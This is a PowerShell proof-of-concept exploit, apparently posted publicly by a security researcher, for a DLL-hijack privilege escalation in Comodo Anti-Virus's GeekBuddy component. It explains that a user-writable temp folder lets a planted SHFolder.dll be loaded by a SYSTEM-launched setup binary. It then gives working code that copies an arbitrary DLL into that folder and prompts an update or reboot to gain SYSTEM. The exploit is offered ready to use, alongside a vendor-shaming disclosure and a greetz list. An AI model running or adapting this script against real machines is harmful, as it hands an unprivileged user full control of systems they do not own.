261 lines
No EOL
20 KiB
PowerShell
261 lines
No EOL
20 KiB
PowerShell
<#
|
|
|
|
|
|
````......````
|
|
``,;''''''''''''''''';,`
|
|
.;''''''''''''''''''''''''''',`
|
|
`:''''''''+';:,.``````.,:;'''''''''':`
|
|
,;'''''';,.` ``,;'''''';:
|
|
`:'''''',. `,'''''';.
|
|
`;+''+':` ,; `,''''';.
|
|
`;'''';. `` .:;'` `. `;'''''.
|
|
` :+''';` `,``:+'' ';;'`,''; `` `` :'''';`
|
|
.'''';` ,';' '':'` ';,'`'',' :''' .''` :'''',
|
|
`;''''` ;'' :+.` ;';, ';:' ''''`,;:+ '', `;''''`
|
|
.''''. ;:`, .'.':`'''.:;`;. +;:' '::; ;''' '; .'''',
|
|
:''';` ` '''',`':'' ..;:`','` '''' ':;;`'`';`':` :; :''';
|
|
;''+, .;`.'.'' ';.'`';': ,:. ` ` ` `,: .';',,'`;'.`';': .+'''`
|
|
`''''` ;'; ''.'.,','` ,` ``;`'' .`;'`''+: ;'''`
|
|
`'''' ., .'' ,'.'' ;;. ```````` `. ``'::'`;; ` :'''.
|
|
``''': `+,` .':`'',' `,;''''''''''+'':.` ;'.+:;'``': .'''.
|
|
`''', '', ''`:; `:'''''''''''''''''''''';. `;'`': ''`'` .''',
|
|
`''', ` `''` `'; .''''''''''''''''''''''''''''';` `.;' ;'.''`.: `''',
|
|
`''', :''.`'' ` ,;'''''''''''''''''''''''''''''''';. ` `,.'::', ''` .'''.
|
|
''', '.''`,': ,'''''''''''''''''''''''''''''''''''''', ` .+,'; ''; .'''`
|
|
''': ''`'' ;. `'''''''''''''''''';:::;';'''''''''''''''''. ;' :': ,,` .'''
|
|
:''; `''.'` ` :''''''''''''';:::.', `''';`:;'+'''','''''+; `,'; :''' ,'''
|
|
.''' `` .++; `''''''''''''`. `': '''; `:''' :'''''''. .+ :''.+. :'':
|
|
`''+ :'': `` ,''''''''''''' `': '''; `: ,'''''''': .`''.'' ` '''`
|
|
;''. `+.',; ;'''':''''''''; ` ', .'''': ` :''''';'''; `'.',`,', `+''
|
|
,'': '';,'. ;''''':''''''''`+` ;..`;'+''. '.:''''';'''''```.+' +:'` .'';
|
|
`''' `;``+',;.` ;''''':''''''''.'; `;'', '` '' ;''''','''''` ;,+.+. ;''.
|
|
;'+. :'': ;': ;'''''':''''':',''. `'';.+' '` ,'; .'''';''''''` `+.':` `'''
|
|
`'': .+`;''` ` ;'''''':''''''.::''. .''. :: `'';`,'''':''''''` :+'. ,'',
|
|
'''` :''.:'' :''''''':'''''; :'''' .'', `.,; :+'`''': ;''',''''''' ,` '''
|
|
.'': `'';`` ,''''''':;''''':`''';', ,''+` ,+':' +'''''''`,'''''''''''; .+` .'':
|
|
''' `''. :', `''''''':`'''''+.;';.:::::::,,''';`'': . .'''''''; ''''.''''''', ` ;'': '''
|
|
.'', ','';`. '''''''; :'''''' `,;'''''''''.``` . ''''';:,`:;''+`'''',,'''''''` :'';` `+':
|
|
'''` ''.,'; ;''''''; ''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :''''''' '''. ;''
|
|
`'': .'';:; `'''''''` .+'', ,''''''''''''; '''''''++`''''':..:'''' `''''' ;'''''', ., `` .'',
|
|
` :'' :''` ''''''+` ;''``;'''''''''''''':``,,.`````,'''''. ';.;'''` `'''''''` .++. '';
|
|
+'' ,'''''': ;+`,'''''''''''''''''+''';;;;'''''''+` :;+,`''. `.''''''; .+'''` :'+`
|
|
,''. ': +'''''; ,,;''''''''''''''''''''''''''''''''''. `.::,` `';.', ;''''''` :'': `. `'';
|
|
;'' :;.;': ,''''''. `''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;, `''''''; `.; .;'+` ;''
|
|
'': ` ;';';' ''''''; ''';;''''''',`.'',` .:;;''''''''''.,'''''''''''.;;. ,'''''' `;''''. .''`
|
|
.''. .';`;' .''''''. :+;;''''''''''': ;' ::::...;''+'':,'''';..``;''';. ''''''; `:''.`': `'':
|
|
:'' ` ,'` ;''''''. :;'''''''''''''';`;, `,''';` .:;;;'''': ,'''''' .,''', '''
|
|
;'; ''';,` `''''''''''` :''''''''''';.:'''`';:` ,''';`;''''''''''', ''''''. ;';,` :''`
|
|
`'', .;,'''; ,'''''''''' ;'''''''''':` :'''`::` ``'''',+''''''''''''+` ;'''''; .``.:;` `''.
|
|
.''` `+;'`;` '''''''''';.'''''''',` ''';` :''';'''';::;'''''';; ` `''''''` ;'';;; `+':
|
|
:'' ..;'' `''''''''''`'''''''', .'''` `+''';''. ,'''''''''''''''''''''''''''''''''''''':`
|
|
;'' :. `` .'''''''''';'''''''' ;''; ;''':::` :'''''''''''''''''''''''''''''''''''''''',
|
|
;': '''':` :'''''''''''''''''',` .''' ''''. `+'''''''''''''''''''''''''''''''''''''''''
|
|
'', :,;'': ;''''''''''''''''''` ;''... :''''` :''''''''''''''''''''''''''''''''''''''''''`
|
|
`''. `+'':,` ''''''''''''''''''; ,'';.+` . ,;''' `'''''''''''''''''''''''''''''''''''''''''';
|
|
.''. `.,;'; '''''''''';''''''', ''',+. `` .' .''' ''''''''+'''''''''''''''''''''''''''''''''',
|
|
.'+` ;''''' `` '''''''` `;''''.'++','`+.''' ''''''; `;+''''''
|
|
,'' ''''';; ,'''';'''';'``.''' :''''''` .'''''':
|
|
:'+ '''''': .'''';'''';'` .''' ,''''''` ,''''';
|
|
:'' ,''''', ''''''` .'''';'''';', .'''` .''''''` ''''''
|
|
;'' `''''''; :''''', '''''' .'''';'''';':,''''. .''''''` ''''''
|
|
;'' `';''''' :''''', :''''; :''''''''';''.''''' `''''''` ;'''''
|
|
;'' :''''', ,''''' `+''''''''':''.'''''` ,'''''; ''''''
|
|
:'+ ,''''', `'''''. ,'''''''''':''::''''; ;''''': `''''''
|
|
:'' ```. ,''''': ''''': `''''''''''',''+`'''''. `''''''. :''''''
|
|
,''` `''''''' .'''''; `''''': '''''''''''';''',,''''', ''''''' ,'''''',
|
|
.''` `''':,.; `'''''' `'''''': '''''''''''''';'''`'''''':. `,''''''', .''''''''
|
|
`''` `,;;;''` '''''' `'','''';,` `,''''''''''''''',''':.''''''''''''''''''':` ;'''''''''''''''''''''''''''''',
|
|
'', `+';;, '''''' `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+ '''''''''''''''''''''''''''''';
|
|
'': ` `,. ;'''''. `''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;; `''''''''''''''''''''''''''';';
|
|
;'; ,''''; :''''': `''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,', ,'''''''''''''''''''''''''''';
|
|
;'' ';;,.. .'''''' `''';; :''''''''''''''''';'''''''. '''''`;'''''''''''';+'` ;'''''''''''''''''''''''''';.
|
|
:'' `,:;''' ''''''` `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+: '''''''';''''''''';''''';,`
|
|
.''. .''',` ;''''': ` ''':;''. ````` :+'''''',;''''''', '''''';..;''''''''''` `'''''' `,'': `+':
|
|
'': ` .;. ,'''''+ .'';,'''''''';:''''''''','''''''': ;'''''''''.`,''''''' ;'''''; ,'', .''.
|
|
''; :+.++` `''''''. +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''', ''''''. ':''', :''`
|
|
:'' ,';:.'. ;'''''' ''''.:''''''''''''''''';;'''''''''''.'''. `:;'''''':'': :'''''' ';,.:' '''
|
|
.''. .;:''' .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''', '''''': ,'''', `'':
|
|
''; ;';, ;` '''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';' ,. .;: ,''`
|
|
;'' `;', `,'''''''''''''.,'''''''''''''';','''';:.`` `,.;'''''''''''.+''''''.''''''; ,'+'. '''
|
|
.''. '''';` ''''';''''''';`'''''''''''''':.'';:,;'''':` ,:`:''''''''','',`:''':''''''` '.:''' `'':
|
|
''' :'': `:. ,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.''''''; `'''..' :''
|
|
:''` `,. ;:++` ''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+'''''' ;. ,+''` '';
|
|
`'': `'',`;: `'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,' ,'',
|
|
;''` `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;'''''''' +.''+; '''
|
|
`'': ;'';` ` ''''''':''''';`'''''''', '''''''''''''''.,''''`''''',:''''`,'''''''` '''.:'; .'':
|
|
''+` ,` ,+: `'''''','''''':`'''''''` :'''''''''''''; ;'''`+''''`;'''':+''''''.` ` :'':;, '''
|
|
.'': ;';''. .'''''';'''''',`'''''+ ''''''''''''''` .,'';.''''' '''''''''''': +'``;'; .'',
|
|
''+` :''; ,'` :''''','''''''.,''''' ,'''''''''''''' :''''';''''','''';''''''; ,.''. .`` '''
|
|
`';; `+. ;'':' :''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.'''''' :';`''; :''.
|
|
:'',` `'':.''` ;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;'''''' ` :''.'''` `'''
|
|
''' ;'.:''` ;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''` .''``'+',: '''`
|
|
.';; `;;'; ` :''''':'''''';'''`'';''''''''''': ,''''''''''`''';'''''; .,''` :` ,'':
|
|
;'', `', `'. ,''''';''''';'''''':''''''''''': .''''''''',`+';,''''; ``.'''; ``'''
|
|
'''` `'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'', ,'`:'''''` '''`
|
|
.''' ;'.'' `;''''''''.''''''':'''';:,''';. ,''';''''',;'''',` `;''''''';. ;'',
|
|
,''; ''.;', ,';''''';,''''''`+,` .;:;''',,'';'''+.;''''',```:+,''''''''''.:'';
|
|
;''; ''';', '. `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''',''
|
|
''': .,,': :': +''''''',''';.:'+,.` `.:''':`''''''''''; `'':'''''''''''''',`
|
|
''': ` .'' `'`;'''''''..,.:+,` ``.,.` ,'''`;'''''''+.';'.:'''':;'''''+:.'`
|
|
''': ;:`+'` ,:..,''''''; .+: `:'+''''';` ;'; .''''': `:';:+''';`''''''. .':
|
|
`'''; ; ;'. .';'`;'''',;'. .+''''''''''` ;;'+:'''; .+'''''''';''''''.;,'';
|
|
`'''' ,'; :'`'`;'''':+` `'''''''''''': ;'';'''`;''''''''''''''''',.''';
|
|
`'''' ` ` `':. ';''.+. `''''''''''''; `'''''::'''.'''',`'''''': :';;''
|
|
''''. :;,'`:'.';', '''''''''''': ,'''','''..''': '''';;:,''. `''
|
|
:''': `.+'' '''',' :''''''''''+. ''''''':`'''' .''';:;`.'.:' ';
|
|
,''''` `,` ',;:'. `;;;,``'''::::;''; :';, ,'''''' ;'''` +'''.''+'.:'+`':
|
|
`'''': ` ;'':' '''''+;.; `` ,:`''''', `'''''`,'''' :'''.''''..''','.
|
|
:''''. .,': :'''''''.`;'''';` .''''''` '''':`+'''``''',;'''``''';:'.
|
|
`'''''` `.'` ''''''';`'''''''': ,'''''; ;'''`''''; ''';:'''. ;''',''
|
|
,'''''` `.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.:
|
|
:''''', .' '''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '.
|
|
`:+'''';..; '''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+
|
|
`,''''':' ''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,:
|
|
.;+':' '''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' +
|
|
.:+` '''''''`''''''+'''+.'''''; .' ;''' ;''.;,'' ' ''.:``:
|
|
'. :'''''':.+'''''''',;''''', ;: ;''; '''.'.,;,,:'' '`'
|
|
;; `'''''''``;'''''',`,''''' `'` ''',.''',.:;`' ''.,.`;
|
|
.+ ''''''' ` `.,,.`'; '''; :; `''+`;'';;: :.;`',`; ;`
|
|
+: `'''''``';;;;;'''', `` `+. `''' '''::;;:;`;'`;..,
|
|
,' ``.. `+''''''''''+` :' `'';`''':. ,.',''.; '
|
|
`+' :'''''''''''', `+.` '',.''',. :,''''+ ;
|
|
.', ;''''''''''''. ': ''.,''':` ;.''''.,.
|
|
:'. :''''''''''', ;'` ''.:''',':;.''':.:
|
|
''. ,:''''',` ;+` :'.:'''' ':`''; ;
|
|
`'', ''. ::,''''``; :, '
|
|
;+;` .'+` ``'':'`,; '``
|
|
,'';. `.'';` :';'.,; '.
|
|
`,''';:::::;'''. ``+;' +`
|
|
`,:''''';,` ,,;
|
|
|
|
|
|
|
|
SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares)
|
|
|
|
Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC:
|
|
|
|
###Technical Geeky Stuff###
|
|
|
|
GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder.
|
|
These binaries are individual components of the Comodo Security Suite and are executed whenever
|
|
their related function is performed, updated, or uninstalled.
|
|
|
|
The directory listing is as follows:
|
|
10/06/2015 12:08 AM <DIR> .
|
|
10/06/2015 12:08 AM <DIR> ..
|
|
10/02/2015 10:43 PM 27 download.cfg
|
|
10/02/2015 10:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe
|
|
10/02/2015 10:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe
|
|
10/02/2015 10:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe
|
|
10/06/2015 12:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe
|
|
10/02/2015 10:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe
|
|
10/06/2015 12:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe
|
|
10/06/2015 12:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe
|
|
10/02/2015 10:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe
|
|
10/06/2015 12:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe
|
|
10/02/2015 10:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe
|
|
10/02/2015 10:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe
|
|
10/06/2015 12:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe
|
|
10/06/2015 12:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe
|
|
10/02/2015 10:43 PM 1 survey_version.txt
|
|
10/06/2015 12:05 AM <DIR> updates
|
|
|
|
The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration:
|
|
|
|
C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
|
|
BUILTIN\Administrators:(OI)(CI)(ID)F
|
|
CREATOR OWNER:(OI)(CI)(IO)(ID)F
|
|
BUILTIN\Users:(OI)(CI)(ID)R
|
|
BUILTIN\Users:(CI)(ID)(special access:)
|
|
FILE_WRITE_DATA
|
|
FILE_APPEND_DATA
|
|
FILE_WRITE_EA
|
|
FILE_WRITE_ATTRIBUTES
|
|
|
|
Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access. This allows
|
|
non-administrator users the ability to create files in the directory but not delete or modify
|
|
existing files.
|
|
|
|
Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides
|
|
in the C:\Program Files (x86)\Common Files\COMODO\ folder. This service is auto launched by the
|
|
registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher
|
|
|
|
This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM
|
|
level privielges. This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe
|
|
to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder.
|
|
|
|
During client connections to update servers and Geek Buddy executions the unit.exe binary will
|
|
launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe. This setup binary has
|
|
hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is
|
|
executed from.
|
|
|
|
.data:00409240 dd offset aShfolder ; "SHFOLDER"
|
|
.data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA"
|
|
|
|
During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before
|
|
looking in the other PATHS variables.
|
|
|
|
By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an
|
|
update or client connection to secure servers (which occurs automatically at user login) a user can
|
|
elevate their privileges to SYSTEM and compromise the system fully.
|
|
|
|
|
|
######### GREETZ ######################################################################################
|
|
1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled
|
|
|
|
@taviso - keep killing it and thanks for being an inspiration
|
|
@bill_billbil - sup girl chicken rico n chill
|
|
@tacticalRCE - Its no 100 mile rides but will miss all the good times. C-ya around mang.
|
|
@hellNBak_ - drop tehm greetz like its 2003
|
|
@hacksforpancakes - make plans for other NullCon in 2016 ;)
|
|
@jduck - we gonna juke some more toyotas next time you come visit
|
|
@hdmoore - good luck with your ventures good sir
|
|
@jsoo - dont give up good sir - you're doing awesome
|
|
@thegrugq - when i grow up i hope im half as wise as you good sir
|
|
@daveaitel - Triangular Anus logos are the best
|
|
@da_667 - AYYYYYYYYYYYYYY LMAO
|
|
@bonovoxly - Clever Girls Wear Pink on Wednesdays
|
|
Derek Soeder - Respect to you brother, keep on being awesome
|
|
Benny 29A - next time im in CZ lets get beers, im buying
|
|
Yuji Ukai - #RESPECT to everything you have ever done and will ever do. #Ninja
|
|
Sizzop - for fixing my greetz
|
|
|
|
#########################################################################################################
|
|
|
|
|
|
#>
|
|
|
|
Param
|
|
(
|
|
|
|
[Parameter(ValueFromPipelineByPropertyName = $true)]
|
|
[string]$DLL = ""
|
|
)
|
|
|
|
|
|
|
|
|
|
if (!(Test-Path $DLL))
|
|
{
|
|
throw "Fatal Error: The specified file: $DLL does not exist."
|
|
}
|
|
|
|
Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force
|
|
|
|
Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red
|
|
|
|
|
|
[void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
|
|
|
|
$objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon
|
|
|
|
|
|
$MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path
|
|
$objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)
|
|
$objNotifyIcon.BalloonTipIcon = "Info"
|
|
$objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL.
|
|
Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges"
|
|
$objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis"
|
|
|
|
$objNotifyIcon.Visible = $True
|
|
$objNotifyIcon.ShowBalloonTip(8000) |